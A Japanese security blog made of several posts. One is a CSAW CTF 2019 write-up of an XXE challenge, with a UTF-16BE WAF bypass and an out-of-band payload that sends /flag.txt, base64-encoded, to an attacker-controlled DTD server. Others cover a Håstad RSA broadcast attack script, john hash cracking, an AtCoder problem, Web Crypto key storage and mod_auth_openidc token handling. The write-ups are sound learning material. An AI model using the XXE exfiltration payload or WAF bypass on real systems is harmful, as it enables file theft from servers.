CSAW CTF 2019 Writeup [unagi - Web 200]

おそらくXXE。
こちらの記事を参考にflag.txtを読み込んで表示するxmlを作ってアップロードする。

www.mbsd.jp

文字列として"ENTITY", "SYSTEM", "file"が入っていた場合はWAFにブロックされる。 WAFをバイパスする必要がある。

f:id:kent056-n:20190916122407p:plain

WAFのバイパスに関しては以下の記事が役に立った。 lab.wallarm.com

今回は以下のように文字コードを変えることでWAFをバイパスできた。

$ echo -n '<?xml version="1.0" encoding="UTF-16BE"' > attack-utf16be.xml

$ printf "%s" '?><!DOCTYPE name [<!ENTITY h SYSTEM "file:///flag.txt">]><users><user><username>&h;</username><password>passwd1</password><name>&h;</name><email>&h;</email><group>&h;</group></user><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite.com</email><group>CSAW2019</group></user></users>' | iconv -f utf-8 -t utf-16be >> attack-utf16be.xml

しかし、flag.txtを表示してもAAAAAAAAAAAしか表示されない。どうやら表示に文字数制限があり、flag.txtの先頭がAで埋め尽くされているようだ。 f:id:kent056-n:20190916122448p:plain

色々と試していると、php://は利用できることがわかった。しかし、これだけでflagを表示させることはできなさそう。

f:id:kent056-n:20190916122514p:plain

とりあえず、BASE64エンコードして外部に中身を送れないか試してみたが、requestbinでいくら待っても通信が来なかった。
ここで競技中に詰んでしまって終了。つらい。

競技終了後、以下のwriteupを見てみた。どうやら方針は合っていたようだ。 www.wispwisp.com

自分の場合に通信が発生しなかった理由は、dtdファイルを存在するかどうかともかく指定していなかったのが原因のようだ。
(とりあえず通信が発生することが確認できれば良いと思っていたので、requestbinのURLをそのまま指定しているだけだった)

あとはやるだけ。 まず、以下のようなファイルを用意する。

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://[IP ADDRESS]/csaw.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

こんな感じに丸々エンコードしても大丈夫っぽい。この方が編集が楽なので早速使っていく。

$ cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload1.xml

あとはサーバーに以下のDTDファイルを置いて通信が来るのを待つ。

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://[IP ADDRESS]/dtd.xml?%data;'>">

アクセスが来るのでアクセスログを確認する。

# cat /var/log/httpd/access_log

216.165.2.60 - - [16/Sep/2019:09:56:41 +0900] "GET /dtd.xml?QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.0" 404 205 "-" "-"

BASE64デコードしてフラグを確認して終了。

# echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE" | base64 -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbase64: invalid input

フラグはflag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}です。
今回はあと一歩のところまでいっていたのにフラグを回収できずに辛かった。

id0-rsa.pubのメモ【Håstad's Broadcast Attack】

以下問題文。

A message was encrypted with three different 1024 bit RSA public keys, all of which have the exponent e=3 and different moduli N, resulting in three ciphertexts. Luckily, there is an attack that we can use to recover the message without having to recover the private key / factor the moduli. Given the following ciphertext / modulus pairs, recover the original message in ASCII string format. (Hint: check out the Chinese Remainder Theorem).

C1 = 0x94f145679ee247b023b09f917beea7e38707452c5f4dc443bba4d089a18ec42de6e32806cc967e09a28ea6fd2e683d5bb7258bce9e6f972d6a30d7e5acbfba0a85610261fb3e0aac33a9e833234a11895402bc828da3c74ea2979eb833cd644b8ab9e3b1e46515f47a49ee602c608812241e56b94bcf76cfbb13532d9f4ff8ba
N1 = 0xa5d1c341e4837bf7f2317024f4436fb25a450ddabd7293a0897ebecc24e443efc47672a6ece7f9cac05661182f3abbb0272444ce650a819b477fd72bf01210d7e1fbb7eb526ce77372f1aa6c9ce570066deee1ea95ddd22533cbc68b3ba20ec737b002dfc6f33dcb19e6f9b312caa59c81bb80cda1facf16536cb3c184abd1d5
C2 = 0x5ad248df283350558ba4dc22e5ec8325364b3e0b530b143f59e40c9c2e505217c3b60a0fae366845383adb3efe37da1b9ae37851811c4006599d3c1c852edd4d66e4984d114f4ea89d8b2aef45cc531cfa1ab16c7a2e04d8884a071fed79a8d30af66edf1bbbf695ff8670b9fccf83860a06e017d67b1788b19b72d597d7d8d8
N2 = 0xaf4ed50f72b0b1eec2cde78275bcb8ff59deeeb5103ccbe5aaef18b4ddc5d353fc6dc990d8b94b3d0c1750030e48a61edd4e31122a670e5e942ae224ecd7b5af7c13b6b3ff8bcc41591cbf2d8223d32eeb46ba0d7e6d9ab52a728be56cd284842337db037e1a1da246ed1da0fd9bdb423bbe302e813f3c9b3f9414b25e28bda5
C3 = 0x8a9315ee3438a879f8af97f45df528de7a43cd9cf4b9516f5a9104e5f1c7c2cdbf754b1fa0702b3af7cecfd69a425f0676c8c1f750f32b736c6498cac207aa9d844c50e654ceaced2e0175e9cfcc2b9f975e3183437db73111a4a139d48cc6ce4c6fac4bf93b98787ed8a476a9eb4db4fd190c3d8bf4d5c4f66102c6dd36b73
N3 = 0x5ca9a30effc85f47f5889d74fd35e16705c5d1a767004fec7fdf429a205f01fd7ad876c0128ddc52caebaa0842a89996379ac286bc96ebbb71a0f8c3db212a18839f7877ebd76c3c7d8e86bf6ddb17c9c93a28defb8c58983e11304d483fd7caa19b4b261fc40a19380abae30f8d274481a432c8de488d0ea7b680ad6cf7776b
You already solved this one! Solution: This message is secret and unfortunately e is not high. The message

異なる法N1, N2, N3で暗号化した結果が渡されているので、中国人剰余定理を用いて解く。

import gmpy2
e = 3
c1 = int('0x94f145679ee247b023b09f917beea7e38707452c5f4dc443bba4d089a18ec42de6e32806cc967e09a28ea6fd2e683d5bb7258bce9e6f972d6a30d7e5acbfba0a85610261fb3e0aac33a9e833234a11895402bc828da3c74ea2979eb833cd644b8ab9e3b1e46515f47a49ee602c608812241e56b94bcf76cfbb13532d9f4ff8ba', 16)
n1 = int('0xa5d1c341e4837bf7f2317024f4436fb25a450ddabd7293a0897ebecc24e443efc47672a6ece7f9cac05661182f3abbb0272444ce650a819b477fd72bf01210d7e1fbb7eb526ce77372f1aa6c9ce570066deee1ea95ddd22533cbc68b3ba20ec737b002dfc6f33dcb19e6f9b312caa59c81bb80cda1facf16536cb3c184abd1d5', 16)
c2 = int('0x5ad248df283350558ba4dc22e5ec8325364b3e0b530b143f59e40c9c2e505217c3b60a0fae366845383adb3efe37da1b9ae37851811c4006599d3c1c852edd4d66e4984d114f4ea89d8b2aef45cc531cfa1ab16c7a2e04d8884a071fed79a8d30af66edf1bbbf695ff8670b9fccf83860a06e017d67b1788b19b72d597d7d8d8', 16)
n2 = int('0xaf4ed50f72b0b1eec2cde78275bcb8ff59deeeb5103ccbe5aaef18b4ddc5d353fc6dc990d8b94b3d0c1750030e48a61edd4e31122a670e5e942ae224ecd7b5af7c13b6b3ff8bcc41591cbf2d8223d32eeb46ba0d7e6d9ab52a728be56cd284842337db037e1a1da246ed1da0fd9bdb423bbe302e813f3c9b3f9414b25e28bda5', 16)
c3 = int('0x8a9315ee3438a879f8af97f45df528de7a43cd9cf4b9516f5a9104e5f1c7c2cdbf754b1fa0702b3af7cecfd69a425f0676c8c1f750f32b736c6498cac207aa9d844c50e654ceaced2e0175e9cfcc2b9f975e3183437db73111a4a139d48cc6ce4c6fac4bf93b98787ed8a476a9eb4db4fd190c3d8bf4d5c4f66102c6dd36b73', 16)
n3 = int('0x5ca9a30effc85f47f5889d74fd35e16705c5d1a767004fec7fdf429a205f01fd7ad876c0128ddc52caebaa0842a89996379ac286bc96ebbb71a0f8c3db212a18839f7877ebd76c3c7d8e86bf6ddb17c9c93a28defb8c58983e11304d483fd7caa19b4b261fc40a19380abae30f8d274481a432c8de488d0ea7b680ad6cf7776b', 16)

def chinese_remainder_theorem(args):
    x = m = 1
    for a, n in args:
        x += m * (a - x) * gmpy2.invert(m, n)
        m *= n
    return x % m

c = chinese_remainder_theorem([(c1, n1), (c2, n2), (c3, n3)])
m, _ = gmpy2.iroot(c, e)
flag = bytes.fromhex(hex(m)[2:]).decode()
print(flag)

以下、実行結果。復号できました。

$ python3 solve.py
This message is secret and unfortunately e is not high. The message should also be sufficiently long so it is a residue.

参考

id0-rsa.pubのメモ【Easy Passwords】

はじめに

やっていきます。 id0-rsa.pub

問題

Warm up with some easy password cracking

$1$abadsalt$0abdVS0D4YnJJ4b7l0RRr1
$1$abadsalt$p394aiqZnKUyrO5Rg9Tf01
$1$abadsalt$cJYsdaTkB9F9L9yH2Qjtd.
$1$abadsalt$lFZDGpRdmOwRbu6HWuqjv0
$1$abadsalt$1AI/LbmumKa5e6dOxiVe11
$1$abadsalt$e2hAp/NXE.Uezx3ZOwA5L0
$1$abadsalt$Cua6x6Rgd8UUHn7Mnzibj.
$1$abadsalt$7XBxlsUB3yXcL62wQpgjK/
$1$abadsalt$DnSSAXOSmaoAAhN4WKaU90
$1$abadsalt$Cua6x6Rgd8UUHn7Mnzibj.
$1$abadsalt$7wLTt8frOzyxahbB9Lzdi.

解法

渡された文字列はパスワードのハッシュっぽい。
とりあえずjohnコマンドを実行する。

# john --show password.txt
?:the
?:second
?:letter
?:of
?:each
?:word
?:in
?:this
?:list
?:in
?:order

各単語の2番目の文字を繋げれば良いらしい。
FLAGはheefaonhinrでした。

おわりに

とりあえず解けました。
しかし、パスワードが出力されるまでにかなりの時間がかかってしまいました。
今回はeasy passwordと問題文に書いてあることから辞書を用意して以下のように実行した方が良さそうです。

# john --wordlist=/usr/share/dict/words 38-hashes.txt

参考

AtCoder Beginner Contest 137 C - Green Bin

はじめに

最近競技プログラミングをはじめました。
計算量の考え方やアルゴリズムについて学べ、かつゲーム性があって非常に面白いです。
今回は、以下の問題で色々と学びを得たので記録しておく。(普段から競技プログラミングをしていた人からすると当たり前の知識だと思う)

atcoder.jp

C - Green Bin

実行時間制限: 2 sec / メモリ制限: 1024 MB
配点 : 300 点

問題文

文字列 a に含まれる文字を何らかの順序で並べることで得られる文字列を aアナグラム と呼びます。 例えば、greenbin は beginner のアナグラムです。このように、同じ文字が複数回現れるときはその文字をちょうどその回数だけ使わなければなりません。 N個の文字列 s_1,s_2,…,s_N が与えられます。それぞれの文字列は長さが  10 で英小文字からなり、またこれらの文字列はすべて異なります。二つの整数 i, j (1 \leq i < j \leq N) の組であって、s_i s_jアナグラムであるようなものの個数を求めてください。

制約

  • 2  \leq N  \leq 10^{5}
  •  s_i は長さ 10 の文字列である。
  •  s_i の各文字は英小文字である。
  •  s_1, s_2, ..., s_N はすべて異なる。

やったこと

とりあえず以下のようなコードを書いた。

from collections import Counter
n = int(input())
S = [input() for _ in range(n)]
ans = 0
 
for i in range(n):
  S[i] = Counter(S[i])
 
for i in range(n):
  for j in range(i + 1, n):
    if S[i] == S[j]:
      ans += 1
 
print(ans)

入力をcollections.Counterメソッドに一度代入することで、オブジェクト同士の比較を可能にしてアナグラムか判定することができる。
しかし、2  \leq N  \leq 10^{5} であるため、上記のコードだと2 秒という時間制限を過ぎてしまうことが判明。
アナグラムの判定は問題なさそうだが、文字列の比較を行う必要があるようです。
最終的に以下のコードで線形時間で動作し、解けることがわかった。

n = int(input())
sorted_word = {}

for i in range(n):
  word = ''.join(sorted(input()))
  sorted_word.setdefault(word, 0)
  sorted_word[word] += 1

def pair_num(n):
  return (n * (n - 1)) // 2

print(sum(map(pair_num, sorted_word.values())))

まず入力された文字列をソートし、ハッシュテーブルに格納します。
こうすることでアナグラムの文字列の組は、ソート後に同じ文字列になるので出現回数をカウントすることができるようになります。 ちなみに、setdefaultメソッドは対象のオブジェクトに存在しないKeyを指定した場合は対象のオブジェクトに引数で指定したKeyとValueが設定され、対象のオブジェクトに引数で指定したKeyが存在する場合は対象オブジェクトの値を返すらしい(このとき対象のオブジェクト自体は変更されない)。
最後にアナグラムの文字列の出現回数をペアの数に変換します。
あるアナグラムの文字列をKeyするValueに格納された値をnとすると、アナグラムの組は  (n - 1) + (n - 2) + ... + (n - n) になることがわかります。
あとは等差数列の一般項に当てはめればペアの数も計算できます。
 \frac{n}{2} (a + l) = \frac{n}{2} ((n-1)+ 0) = \frac{1}{2} n(n - 1)
最後に各アナグラムの文字列ごとのペアを合計して終わりです。

おわりに

競プロerにとっては当たり前のテクなのだろうが、初めたばかりの自分にとっては勉強になった。

Web Cryptography APIの鍵管理について調べてみた

はじめに

Web Cryptography APIについて気になったので触ってみました。 www.w3.org

また、Web Cryptography APIは鍵の生成、インポート、エクスポートができるようなので鍵管理についても調べてみました。
ブラウザ上での鍵管理が安全かつ容易にできるようになればトークンをベースとした認証の利用シーンが増えるのではないかという個人的な期待もあります。

サンプル

とりあえず動かしてみます。
W3Cのドキュメント内にサンプルコードがあるので参考にできそうです。 www.w3.org

また、用途ごとに細かくサンプルコードを分けて用意してくれているリポジトリがありました。こちらも参考になりました。(更新が止まっているようにも見えるので注意が必要) github.com

各メソッドはSubtleCrypto interfaceに定義されています。

Key Strageについて

Key Strageについては以下のように記載されています。

This specification does not explicitly provide any new storage mechanisms for CryptoKey objects. https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage

どうやら鍵管理用のストレージを提供している訳ではなさそうです。つまりブラウザから利用できる既存の保存領域を利用することになるのでしょうか。
また、以下のような記載がありました。

In practice, it is expected that most authors will make use of the Indexed Database API, which allows associative storage of key/value pairs, where the key is some string identifier meaningful to the application, and the value is a CryptoKey object. https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage

鍵の保存に関してIndexed Database APIの利用が例としてあげられています。
ここでIndexed Databaseが鍵の保存領域として問題ないのかが気になってきます。
調べてみた結果、Indexed Databaseでの鍵管理について、Indexed Databaseに鍵を保存して問題ない明確な答えは見つけられませんでした。
以下のように同様の質問は投稿されていましたが、解決には至っていませんでした。 t.co

stackoverflow.com

鍵のエクスポートについて

CryptoKey interfaceにはextractableという値が定義されており、generateKeyメソッドなどで指定ができます。

このextractableについては以下のように説明されています。

While access to the underlying cryptographic key material may be restricted, based upon the extractable attribute, once a key is shared with a destination origin, the source origin can not later restrict or revoke access to the key.

Export Keyメソッドの挙動としては以下の通りです。もし、extractablefalseの場合にエクスポートしようとするとInvalidAccessErrorになるようです。

If the extractable internal slot of key is false, then throw an InvalidAccessError. https://www.w3.org/TR/WebCryptoAPI/#SubtleCrypto-method-exportKey

つまりextractableの指定によりexportKeyメソッドを経由した鍵の取得は制限できるようです。

おわりに

Web Cryptography APIを触ってみて、Key Strageについて少し調べてみました。
一度エクスポートした鍵の管理や、exportKeyメソッド以外から鍵にアクセスできないのか、など不明な点がまだまだ残りました。

参考

mod_auth_openidcのOIDCCacheType redisを試す

はじめに

mod_auth_openidcはキャッシュ先としては以下の中から選ぶことができます (https://github.com/zmartzone/mod_auth_openidc/wiki/Caching) 。

  • shared memory (default)

  • memcache

  • Redis

  • file storage

shared memoryだと不便なケースがあるのでRedisを利用してみます。
以下のリポジトリにて動作確認を行いました。 github.com

設定

設定方法についてはmod_auth_openidcのwikiに記載されているので、こちらを参考に進めていきます。

github.com

httpd.confの以下のディレクティブに設定をを追加します。

OIDCCacheType                 redis
OIDCRedisCacheServer          redis:6379
OIDCRedisCachePassword        foobar

redisを利用する際にはOIDCCachTyperedisにします。
OIDCRedisCacheServerにredisサーバーのホスト名とポート([:])を設定します。
もしパスワードを設定していればOIDCRedisCachePasswordにパスワードを設定します。

動作確認

データがredisに格納されているか確認してみる。
事前にredisに接続しやすいようにdocker-compose.ymlのportを編集して外部にportを公開しておくと楽です。

  redis:
    image: "redis:alpine"
    ports:
      - "6379:6379"
    command: redis-server --appendonly yes --requirepass foobar 

redis-cliで対象ホストにアクセスして中身を見てみる。パスワードを設定している場合は事前にAUTHコマンドを実行しておく。

$ redis-cli
127.0.0.1:6379> AUTH foobar(パスワード)
OK
127.0.0.1:6379> keys *
1) "n:DFivOxw8xZrleyjsLU7-4Sdoa9v4E-PRQbsfbCFLQqg"
2) "j:sulYTRjjayqQ1YZRie_5FM0raz_Zygxbp4rPLIRWUxc"
3) "n:Oj4W_istnIxmeGW1Gq8gmNGYGP9KQhCL7pzucOX5anE"
4) "p:CR-pEhlBO5nQ-wW4rBt_UlZyxN8d0ydQrvFKDkx_UVU"
5) "s:a3-NEm6xqSmiLR-KSJpn3ed97FsJDvW1YDW0SXs8zVg"

確認できました。何か入っているので問題なさそうです。

おわりに

今回はmod_auth_openidcのキャッシュ先としてRedisを使ってみました。
意外と設定も少なくできたのでよかったです。

OAuth2.0 Clientでの各種トークン管理について調べてみた (Web App)

はじめに

 これはポエムです。
 mod_auth_openidcの実装からClientでの各種トークンの管理について調べて学びを得ます。

github.com

 対象としてmod_auth_openidcを選んだ理由については、既存のアプリケーションの実装に依存せずに諸々を良い感じに処理してくれる印象があったからです。
 また、設定が豊富で様々な方法を提示されており、トークン管理について調べる題材として良いと思ったからです。  今回はConfidential Clientでの話になります。Public Clientではまたトークンの保管方法は違うはずなのでご了承ください。

動作確認

 動作環境については以下のリポジトリに用意してあります。 github.com

 ここでは上記の動作確認方法について説明をしておきます。特に動作確認する必要が無ければ読み飛ばしてください。
 まず、/ets/hosts/に以下のように追記しておきます。

127.0.0.1    localhost keycloak

 次にリポジトリをクローンして諸々を立ち上げます。

$ git clone https://github.com/kg0r0/keycloak-oidc-compose.git
$ cd keycloak-oidc-compose
$ docker-compose build
$ docker-compose up -d

 諸々立ち上がったら、http://localhost/privateにブラウザからアクセスします。
 すると、ログイン画面が表示されるのでUsernameにuser、Passwordにpasswordをそれぞれ入力します。 f:id:kent056-n:20190701093316p:plain  正しく入力できるとログインが成功し、アプリケーションにヘッダの情報が表示されます。
f:id:kent056-n:20190701093344p:plain

 今回のサンプルアプリケーションでは何が起きているか把握するためにアプリケーションでAccess Tokenなどを表示しています。
 本来Access TokenはClientが保持する秘密の値であるため、今回のようにアプリケーションで表示しないでください。

トークンの管理について

 mod_auth_openidcで各トークンがどのように扱われるのか調べます。
 最初に各トークンの扱いを調べる前にmod_auth_openidcが管理する情報を確認しておきます。
 mod_auth_openidcは以下の情報をキャッシュするようです。

  • authenticated user session state
  • nonce values from authorization requests (to prevent replay attacks)
  • validated OAuth 2.0 access tokens
  • JWK sets that have been retrieved from jwk_uri's (to validate ID tokens)
  • resolved OP metadata when using OIDCProviderMetadataUrl
  • JWT ID claims (jti) when using OP-init-SSO draft-bradley-oauth-jwt-encoded-state
  • temporary state associated with Request URI's

 また、キャッシュ先としては以下の中から選ぶことができるようです。

  • shared memory (default)
  • memcache
  • Redis
  • file storage

https://github.com/zmartzone/mod_auth_openidc/wiki/Caching

ID Token

 ID Tokenを検証して、Cookieをセットするまでの処理はmod_auth_openidcがおこなっており、基本的にアプリケーションがID Tokenを直接扱う必要はなさそうです(Hybrid Flowの時は要確認)。
 アプリケーション側から見てID Tokenが隠蔽されていた場合、認証後にユーザー情報を取得してページを表示したい場合に不便にならないかという懸念がありますが、それは問題なさそうです。
 先ほどの動作確認結果からOIDC_CLAIMというヘッダでID Tokenの情報がアプリケーションに渡ってきているのが確認できます。
 また、後述しますがOIDC_access_tokenヘッダでAccess Tokenもアプリケーションに渡されており、User Infoエンドポイントを叩くことも可能です。
 モジュール自身がUser Infoエンドポイントを叩いてextra claimsについても解決してくれるようなことも記載されています。

The access_token that mod_auth_openidc receives from the OP will be used by the module itself against the user_info endpoint of the OP (if configured) to resolve extra claims about the user. Besides that an application may be interested in the access_token to use it against other OAuth 2.0 protected APIs, typically when additional scopes have been requested in addition to the OpenID Connect scopes (using OIDCScope).

 検証時に認証および認可もする場合、以下の2つの方法が用意されています。

  • Use the functions that mod_auth_openidc provides to authorize users based on the claims that have been provided for that user by the OpenID Connect provider.

  • Use another Apache module that performs the authorization based on the user identity provided by mod_auth_openidc.

https://github.com/zmartzone/mod_auth_openidc/wiki/Authorization

 認証後はCookieがセットされることが記載されています。mod_auth_openidcではID Tokenの管理というよりもユーザーのセッション管理をおこなっているようです。

The "session" cookie is created after the user returns from the OpenID Connect provider with a successful authentication response (note that the state cookie is deleted at the same time).

https://github.com/zmartzone/mod_auth_openidc/wiki/Cookies#session-cookie

 実際にCookieがセットされていることが確認できます。 f:id:kent056-n:20190701110638p:plain

Access Token

 先程確認したキャッシュの項目にvalidated OAuth 2.0 access tokensがあるので、Access Tokenの管理もmod_auth_openidcがやってくれてそうです。  mod_auth_openidcではAccess TokenはOIDC_access_tokenというヘッダでアプリケーションに渡されるようです。

For that purpose mod_auth_openidc passes the access_token that it receives from the OP to applications in a header named OIDC_access_token.
https://github.com/zmartzone/mod_auth_openidc/wiki/Access-Tokens-and-Refresh-Tokens

 リバースプロキシからアプリケーションへのリクエストに毎回Access Tokenがヘッダにセットされてくるので、要件にもよりますがアプリケーションでAccess Tokenを管理する必要はあまりなさそうです。

Refresh Token

 Refresh Tokenはmod_auth_openidcがユーザーセッションに紐づけて管理してくれるようです。

If a refresh_token is returned by the OP, the module stores the refresh_token in the user session.

 また、Refresh TokenによるAccess Tokenの更新もmod_auth_openidcが担ってくれるようです。

When called on this hook mod_auth_openidc will refresh the access_token using the stored refresh_token as described in the OpenID Connect specification in section 12. Using Refresh Tokens.

https://github.com/zmartzone/mod_auth_openidc/wiki/Access-Tokens-and-Refresh-Tokens

まとめ

今回はリバースプロキシの構成でトークンの管理について見てみました。
どういった認証モジュールを利用するかにもよりますが、今回利用したmod_auth_openidcだとアプリケーション側でトークンを管理する手間はかなり少なそうです。
他の認証モジュールを利用する場合だと、一部担っていない機能などあると思うのでそこは自前で管理する必要がありそうです。
所感としては、アプリケーション側からトークンの検証や管理を隠蔽しつつ、必要な情報はちゃんとアプリケーションに渡しているんだなあという感じです。